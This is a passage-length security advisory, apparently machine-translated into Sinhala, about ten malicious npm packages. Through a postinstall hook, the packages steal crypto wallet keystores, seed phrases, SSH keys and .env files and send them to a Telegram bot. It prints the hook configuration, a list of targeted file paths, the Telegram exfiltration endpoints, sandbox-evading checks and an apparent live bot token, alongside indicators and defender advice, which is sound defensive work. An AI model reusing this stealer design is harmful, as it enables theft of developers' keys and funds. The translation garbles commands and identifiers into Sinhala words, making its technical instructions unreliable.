TL; ඩී
2026 ජුනි 9 වන දින තනි npm ප්රකාශක ගිණුමක්, aicrypto-xzggg, නැව්ගත කරන ලදී පැකේජ දහයක් crypto- සහ Web3-රසැති නම් සමඟ — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, සහ තවත් හයක්.
සෑම පැකේජයක්ම එකම ගෙවීමක් ක්රියාත්මක කරන්නේ a වෙතින් ය. postinstall කොක්ක. ස්ථාපනය කිරීමේදී, එය CI තුළ ක්රියාත්මක වේද නැතහොත් වැලිපිල්ලක ක්රියාත්මක වේද යන්න පරීක්ෂා කරයි - එසේ නොවේ නම්, එය මුදල් පසුම්බි යතුරු ගබඩා, බීජ-වාක්ය ඛණ්ඩ ගොනු, SSH යතුරු සහ .env බ්ලොක්චේන් පරිසර පද්ධති හයකින් ගොනු ගෙන ඒවා ටෙලිග්රාම් බොට් එකකට සම්ප්රේෂණය කරයි.
ආරක්ෂකයෙකුට වහාම සොයා ගත හැකි තනි දර්ශකය වන්නේ ටෙලිග්රාම් බොට් හැඳුනුම්පතයි. 8227918239.
තීව්රතාව: තීරණාත්මකයි — අත්සන් කිරීමේ යතුරු සහ ප්රතිසාධන වාක්ය ඛණ්ඩ සෘජුවම සොරකම් කිරීම සංවර්ධක වැඩපොළවල්.
ප්රහාරය: එය ක්රියාත්මක වන ආකාරය
මෙම පැකේජ තමන්ව blockchain සංවර්ධක උපයෝගිතා ලෙස ප්රචාරය කරයි. පැකේජය අවම වන අතර ස්ථාපන ජීවන චක්රය ස්ක්රිප්ට් එකකට යොමු කරයි:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } ස්ක්රිප්ට්/postinstall.js සැබෑ බර පැටවීම සිදු කරන තනි පේළි ෂිම් එකක් වේ: අවශ්යයි(“../src/index.js”). නිසා පශ්චාත් ස්ථාපනය ස්වයංක්රීයව ක්රියාත්මක වන කාලය තුළ npm ස්ථාපනය කරන්න, සංවර්ධකයා විසින් කේත ආයාත කිරීම අවශ්ය නොවේ — පැකේජය යැපුම් ගසක තැබීම එය ක්රියාත්මක කිරීමට ප්රමාණවත් වේ.
ඇතුළත ඝාතක දාමය src/index.js පියවර හතරකි:
- පරිසර පරීක්ෂාව. සත්කාරකය ගොඩනැගීමේ නියෝජිතයෙකු ලෙසද නැතහොත් විශ්ලේෂණ වැලිපිල්ල ලෙසද යන්න ආරක්ෂක ශ්රිතයක් තීරණය කරයි.
- ප්රමාදය. ක්රියාත්මක කිරීම a පිටුපස කල් දමා ඇත කල් ඉකුත්වීම සකසන්න දළ වශයෙන් තත්පර 7.4 කින්.
- එකතු. මුදල් පසුම්බිය, යතුර සහ රහස් ගොනු මාර්ගවල ස්ථාවර ලැයිස්තුවක් ගමන් කරනු ලැබේ; පවතින ගොනු පෝලිම් කර ඇත.
- පිටකිරීම. පෝලිම්ගත ගොනු ටෙලිග්රාම් බොට් එකකට යවනු ලබන අතර, ඊට පෙර සාරාංශ පණිවිඩයක් යවනු ලැබේ.
එකතු කිරීමේ ඉලක්ක ලැයිස්තුව දාම හයක් සහ සාමාන්ය සංවර්ධක රහස් දක්වා විහිදේ. කප්පාදු කර ඇත:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local මුළු මාර්ග විසිඑකක්. නාමාවලි ඇතුළත් කිරීම් වැනි ~/.ethereum/යතුරු ගබඩාව පුළුල් කර ඇති අතර ඇතුළත ඇති සෑම ගොනුවක්ම පෝලිම් කර ඇත. පිටකිරීමේ ක්රියාවලිය Telegram Bot API සෘජුවම භාවිතා කරයි — a පණිවිඩය යවන්න සත්කාරක සහ ගොනු සාරාංශයක් සමඟ අමතන්න, පසුව a යවන්නලේඛනය එක් එක් ගොනුව සඳහා බහු කොටස් උඩුගත කිරීම:
පෙළ
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) කේතය එකලස් කරන සාරාංශ පණිවිඩය ආරම්භ වන්නේ වචනාර්ථ නූලෙනි. ක්රිප්ටෝ ස්ටීලර්, ඉන්පසු ධාරක නාමය, පරිශීලක නාමය, ආරම්භක පැකේජ නාමය, ගොනු ගණන සහ වේලා මුද්රාව.
මෙහි අලුත් මොනවාද?
අවකලනය යනු සොරකම් කිරීමේ යාන්ත්රණය නොවේ — npm වෙතින් ටෙලිග්රාම් පාදක exfil පශ්චාත් ස්ථාපනය hooks හොඳින් පාගා දමනු ලැබේ. එය ක්රියාත්මක කිරීමේ දොරටුව. ඕනෑම දෙයක් කිරීමට පෙර, payload එක, ධාරකය CI ධාවකයෙකු හෝ වැලිපිල්ලකට සමාන වූ විට සත්ය ලෙස ආපසු ලබා දෙන ශ්රිතයක් අමතන අතර, එය සිදු වූ විට ඉක්මනින් ආපසු ලබා දෙයි:
පෙළ
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) container-id regex යනු කැපී පෙනෙන වගන්තියයි: 12-hex-අක්ෂර ධාරක නාමයක් යනු Docker විසින් a ට පවරන පෙරනිමි හැඩයයි. කන්ටේනර්, එබැවින් ගෙවීම් භාරය "මගේ සත්කාරක නාමය ඩොකර් බහාලුමක් මෙන් පෙනේ" යන්න අක්රියව සිටීමට හේතුවක් ලෙස සලකයි. තත්පර හතක ප්රමාදය සමඟ ඒකාබද්ධව, සැලසුම සංවර්ධකයෙකුගේ සැබෑ වැඩපොළක ක්රියාත්මක වීමට සහ ස්වයංක්රීය විශ්ලේෂණයක් මෙන් පෙනෙන ඕනෑම තැනක නිහඬව සිටීමට කැමැත්තක් දක්වයි. එම ද්වාරය ගතික-විශ්ලේෂණ සංඥා යටපත් කර ස්ථිතික පිටාර ප්රවාහය ප්රාථමික ඒත්තු ගැන්වීමේ සාක්ෂි ලෙස තබා ගත්තේය.
කාල නියමය
| දිනය (UTC) | උත්සවය |
|---|---|
| 2026-06-09 ~02:48 | ප්රකාශනයේදී සලකුණු කරන ලද පොකුරේ පළමු පැකේජ (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | ඉහළ අනුවාද සාමාජිකයින් සලකුණු කර ඇත (ethereum-kit-9 1.25.36 දී, wallet-sdk-9 3.7.73 ට) |
| 2026-06-09 ~03:58–03:59 | අවසන් සාමාජිකයින් සලකුණු කරන ලදී (defi-tools-39 4.26.29 දී, swap-sdk-87 4.63.78 දී, farming-tools-12 4.68.54 ට) |
| 2026-06-09 | සියලුම දහයම අනිෂ්ට ලෙස වර්ගීකරණය කර රෙජිස්ට්රි ඉවත් කිරීම සඳහා වාර්තා කර ඇත. |
ආසන්න වශයෙන් මිනිත්තු හැත්තෑවක් ඇතුළත සියලුම කතා දහය මතු වූ අතර, එය එක් ගිණුමකින් ක්රියාත්මක වන තනි තිර රචනය කළ ප්රකාශනයකට අනුකූල විය.
සම්මුතියේ දර්ශක
ජාල සහ හැසිරීම් දර්ශක (ධාරකය විකෘති කර ඇත):
| දර්ශකයක් | වටිනාකම |
|---|---|
| එක්ස්ෆිල් අන්ත ලක්ෂ්යය | api[.]telegram[.]org (ටෙලිග්රෑම් බොට් API) |
| ටෙලිග්රෑම් බොට් හැඳුනුම්පත | 8227918239 |
| බොට් ටෝකනය | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| විදුලි පණිවුඩ කතාබස් හැඳුනුම්පත | 6433587894 |
| කොක්ක සවි කරන්න | postinstall → scripts/postinstall.js → src/index.js |
| සලකුණු නූල | CRYPTO STEALER එකලස් කරන ලද සාරාංශ පණිවිඩයේ |
| ප්රකාශක | aicrypto-xzggg (ප්රකාශිත විද්යුත් තැපෑල vipsyria88@gmail[.]com, සත්යාපනය නොකළ) |
පැකේජ සහ අනුවාද, එක් එක් එහි SHA-256 සමඟ src/index.js ගෙවීම් (ගෙවීම් ක්රියාකාරීව සමාන වන අතර එම්බෙඩ් කළ පැකේජ-නාම ලේබලයේ පමණක් වෙනස් වේ, එබැවින් සෑම හැෂ් එකක්ම වෙනස් වේ):
| පැකේජය | පිටපත | src/index.js හි SHA-256 |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
සරල දඩයම් විමසුමක්: නම් දහයෙන් ඕනෑම එකක් සඳහා ස්ථාපන ලොග් සහ ලොක්ෆයිල් සොයන්න, සහ වෙනත් ආකාරයකින් එය භාවිතා නොකරන ගොඩනැගීමේ හෝ සංවර්ධක සත්කාරක වලින් Telegram Bot API වෙත සම්බන්ධතා සඳහා පිටතට යන ගමනාගමනය සොයන්න.
ආරෝපණය සහ නිරීක්ෂණය කළ හැසිරීම
සියලුම පැකේජ දහයම එක් ගිණුමකින් ප්රකාශයට පත් කරන ලදී, අයික්රිප්ටෝ-xzggg, ප්රකාශිත විද්යුත් තැපෑල කාගේද? vipsyria88@gmail[.]com. විද්යුත් තැපෑල සහ මූලාශ්ර පාලන සබැඳිය යන දෙකම රෙජිස්ට්රි පාර-දත්ත තුළ සත්යාපනය කර නොමැති අතර, ගිණුම දැඩි ලෙස සෘණාත්මක කීර්ති නාම ලකුණු දරයි. ගිණුම ක්රියාත්මක කරන්නේ කවුරුන්ද යන්න අපි තහවුරු කර නොමැත.
ඕනෑම අනන්යතා හිමිකම් පෑමකින් විස්තර දෙකක් වෙන් කිරීම වටී. පළමුව, පැකේජය කර්තෘ ක්ෂේත්ර කියවීම් ඇලෙක් ස්මිත් සෑම පැකේජයකම, සත්ය ප්රකාශන ගිණුම වන අතර අයික්රිප්ටෝ-xzggg; කර්තෘ ක්ෂේත්රය ස්වයං-ප්රකාශිත පාර-දත්ත වන අතර කර්තෘත්වය ස්ථාපිත නොකරයි. දෙවනුව, අනුවාද අංක පුළුල් ලෙස වෙනස් වේ - සමහර සාමාජිකයින් වාඩි වී සිටින්නේ 1.0.0, අනෙක් අය 4.68.54 — එය සැබෑ නිකුතු ඉතිහාසයන් පවත්වා ගැනීමට වඩා අලුතින් සකස් කරන ලද පැකේජ නම් හරහා තනි ගෙවීමක් නැවත භාවිතා කිරීමට අනුකූල වේ.
පොකුර පුරා හැසිරීම ඒකාකාරී ය: එකම ඉලක්ක මාර්ග ලැයිස්තුව, එකම ටෙලිග්රාම් බොට් හැඳුනුම්පත සහ කතාබස් හැඳුනුම්පත, එකම පරිසර ද්වාරය, එකම ක්රිප්ටෝ ස්ටීලර් සලකුණ. එම ඒකාකාරිත්වය පැකේජ අතර ඇති ශක්තිමත්ම සම්බන්ධකයයි. එය අනන්යතාවයක් නොව, එකම ක්රියාකරු සංඥාවකි.
ආරක්ෂකයින් සඳහා බලපෑම, ප්රවණතා සහ මාර්ගෝපදේශ
නිරාවරණය නිශ්චිතයි. මෘදුකාංග පසුම්බියක්, බීජ-වාක්ය ඛණ්ඩ ගොනුවක් හෝ SSH යතුරක් තබා ඇති වැඩපොළක මෙම පැකේජ කිසිවක් ස්ථාපනය කරන සංවර්ධකයෙකු එම ගොනු තත්පර කිහිපයක් ඇතුළත කියවා සත්කාරකයෙන් සම්ප්රේෂණය කරයි. ප්රතිසාධන වාක්ය ඛණ්ඩ සහ අත්සන් කිරීමේ යතුරු සැසි ටෝකනයක් කල් ඉකුත් වන ආකාරයට කල් ඉකුත් නොවේ; වරක් මතක සටහන්.txt නැත්නම් සොලානා එකක් හැඳුනුම්පත.json යන්ත්රයෙන් ඉවත් වූ පසු, එය පාලනය කරන අරමුදල් ඒවා ගෙන යන තෙක් අවදානමට ලක් වේ. එම ධාවනයම .env API යතුරු සහ දත්ත සමුදා අක්තපත්ර නිතිපතා රැගෙන යන ගොනු.
මෙම පොකුර පිටුපස ප්රවණතා දෙකක් තිබේ. පළමුවැන්න නම් නිශ්චිත ප්රේක්ෂක පිරිසක් ආකර්ෂණය කර ගැනීම සඳහා crypto- සහ Web3-තේමා නම් අඛණ්ඩව භාවිතා කිරීමයි - ඔවුන් යැපීම් ස්ථාපනය කරන එකම යන්ත්රයේ මුදල් පසුම්බි සහ යතුරු තබා ගන්නා සංවර්ධකයින්. දෙවැන්න නම් ස්ථාපන කාල ගෙවීම්වල වැලිපිල්ල මගහැරීම පරිණත වීමයි. CI පරිසර විචල්යයන්, ධාවන පරිශීලක නාම සහ Docker බහාලුම්-id සත්කාරක නාම හැඩය පරීක්ෂා කරන ගේට්ටුවක් යනු සැබෑ වැඩපොළකට වඩා විශ්ලේෂණය යටතේ වෙනස් ලෙස හැසිරීමට හිතාමතාම දරන උත්සාහයක් වන අතර එය තනිකරම ගතික හඳුනාගැනීම සඳහා තීරුව ඉහළ නංවයි.
ආරක්ෂකයින් සඳහා:
පෙරනිමියෙන් ස්ක්රිප්ට් අක්රිය කර ස්ථාපනය කරන්න. npm ස්ථාපනය - ස්ක්රිප්ට් නොසලකා හරින්න, හෝ සකසන්න නොසලකා හරින්න-ස්ක්රිප්ට්=සත්ය in .එන්පීඑම්ආර්සී, වළක්වයි පශ්චාත් ස්ථාපනය ක්රියාත්මක කිරීම; ස්ක්රිප්ට් සැබවින්ම අවශ්ය වන නිශ්චිත පරායත්තතා සඳහා පමණක් සක්රීය කරන්න.
පසුම්බි සහ අත්සන් කිරීමේ යතුරු ගොඩනැගීමේ සහ සංවර්ධන යන්ත්රවලින් ඉවත් කර තබන්න. දෘඩාංග පසුම්බියක් හෝ කැපවූ, යැපීම්-නිදහස් අත්සන් කිරීමේ සත්කාරකයක් භාවිතා කරන්න.
සලකන්න .env, keystores, සහ seed-phrase ගොනු ඔටුන්න හිමි ආභරණ ලෙස. ඒවා කිසි විටෙකත් නාමාවලියක වාඩි නොවිය යුතුය, එය ද npm ස්ථාපනය කරන්න වැඩ කරන ගස.
CI සහ සංවර්ධක සත්කාරකයන්ගෙන් Telegram Bot API වෙත පිටතට යන සම්බන්ධතා සොයන්න. බොහෝ ගොඩනැගීමේ පරිසරයන් කිසි විටෙකත් එය අමතන්නේ නැත; ස්ථාපනය කිරීමෙන් පසු හදිසියේම එසේ කරන එකක් විමර්ශනය කිරීම වටී.
පරායත්තතා පින් කර සමාලෝචනය කරන්න. සාමාන්ය ගුප්තකේතන නාමයක් සහිත නවතම පැකේජයක්, a පශ්චාත් ස්ථාපනය hook, සහ කිසිදු repository සබැඳියක් lockfile එකකට ඇතුළු වීමට පෙර බැලීමක් අවශ්ය නොවේ.
කන්ටේනර්-අයිඩී මගහැරීමේ වගන්තිය විශ්ලේෂකයින්ට මතක් කිරීමකි: වැලිපිල්ලක නිද්රාශීලීව පවතින ස්ථාපන-කාල ගෙවීමක් හිතකර නොවේ, එය තෝරා බේරා ගත හැකි ය. ගතික ක්රියාත්මක කිරීම පෙන්වීමට ප්රතික්ෂේප කළ හැකි දේ බැලීමට ස්ථාපන මාර්ගය පිළිබඳ ස්ථිතික සමාලෝචනය විශ්වාසදායක ක්රමය ලෙස පවතී.
ආශ්රිත
npm ස්ථාපන ලියකියවිලි — ජීවන චක්ර ස්ක්රිප්ට් සහ -ස්ක්රිප්ට් නොසලකා හරින්න— ස්වයංක්රීය ස්ථාපනය අක්රීය කිරීම සඳහා යොමුව hooks.





